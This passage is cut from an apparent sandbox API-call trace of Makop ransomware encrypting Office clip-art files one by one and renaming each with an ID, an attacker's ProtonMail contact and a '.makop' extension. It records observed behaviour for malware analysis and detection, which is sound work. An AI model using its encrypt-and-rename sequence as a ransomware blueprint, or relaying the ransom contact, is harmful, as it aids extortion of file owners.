pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.925] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.925] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.931] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.931] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.932] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x27e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x27e0, lpOverlapped=0x0) returned 1 [0140.933] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27e0, dwBufLen=0x27e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x27e0) returned 1 [0140.933] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x27e0, lpOverlapped=0x0) returned 1 [0140.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.934] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.934] SetEndOfFile (hFile=0xf0) returned 1 [0140.940] GetProcessHeap () returned 0x48a0000 [0140.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.941] GetProcessHeap () returned 0x48a0000 [0140.941] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.941] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02009_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02009_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.942] CloseHandle (hObject=0xf0) returned 1 [0140.943] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x620ded00, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x620ded00, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x918, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02041_.WMF", cAlternateFileName="")) returned 1 [0140.943] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF") returned 63 [0140.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.944] GetProcessHeap () returned 0x48a0000 [0140.944] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.944] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.945] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.945] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.950] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.950] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.950] GetProcessHeap () returned 0x48a0000 [0140.950] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.950] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.950] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.950] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.950] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.951] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.951] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.951] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x918, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x918, lpOverlapped=0x0) returned 1 [0140.951] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x920, dwBufLen=0x920 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x920) returned 1 [0140.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x920, lpOverlapped=0x0) returned 1 [0140.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.952] SetEndOfFile (hFile=0xf0) returned 1 [0140.959] GetProcessHeap () returned 0x48a0000 [0140.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.959] GetProcessHeap () returned 0x48a0000 [0140.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.960] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02041_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02041_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.961] CloseHandle (hObject=0xf0) returned 1 [0140.962] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb82d6100, ftCreationTime.dwHighDateTime=0x1bd4bfe, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb82d6100, ftLastWriteTime.dwHighDateTime=0x1bd4bfe, nFileSizeHigh=0x0, nFileSizeLow=0x43c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02066_.WMF", cAlternateFileName="")) returned 1 [0140.962] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF") returned 63 [0140.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.964] GetProcessHeap () returned 0x48a0000 [0140.964] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.964] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.984] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.984] GetProcessHeap () returned 0x48a0000 [0140.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0140.984] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0140.984] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0140.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0140.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0140.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0140.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0140.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0140.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0140.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0140.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.985] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x43c, lpOverlapped=0x0) returned 1 [0140.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x440, dwBufLen=0x440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x440) returned 1 [0140.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x440, lpOverlapped=0x0) returned 1 [0140.986] CryptDestroyKey (hKey=0x48c7128) returned 1 [0140.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.986] SetEndOfFile (hFile=0xf0) returned 1 [0140.993] GetProcessHeap () returned 0x48a0000 [0140.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0140.994] GetProcessHeap () returned 0x48a0000 [0140.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0140.994] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0140.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02066_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02066_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0140.996] CloseHandle (hObject=0xf0) returned 1 [0140.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3552d900, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3552d900, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02091_.WMF", cAlternateFileName="")) returned 1 [0140.996] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF") returned 63 [0140.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0140.997] GetProcessHeap () returned 0x48a0000 [0140.997] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0140.997] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0140.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0140.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.002] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.002] GetProcessHeap () returned 0x48a0000 [0141.002] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.002] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.002] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.004] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x474, lpOverlapped=0x0) returned 1 [0141.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x480, dwBufLen=0x480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x480) returned 1 [0141.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x480, lpOverlapped=0x0) returned 1 [0141.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.005] SetEndOfFile (hFile=0xf0) returned 1 [0141.011] GetProcessHeap () returned 0x48a0000 [0141.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.012] GetProcessHeap () returned 0x48a0000 [0141.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.012] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02091_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02091_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.013] CloseHandle (hObject=0xf0) returned 1 [0141.013] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38e66000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38e66000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02092_.WMF", cAlternateFileName="")) returned 1 [0141.013] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 63 [0141.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.015] GetProcessHeap () returned 0x48a0000 [0141.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.015] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, 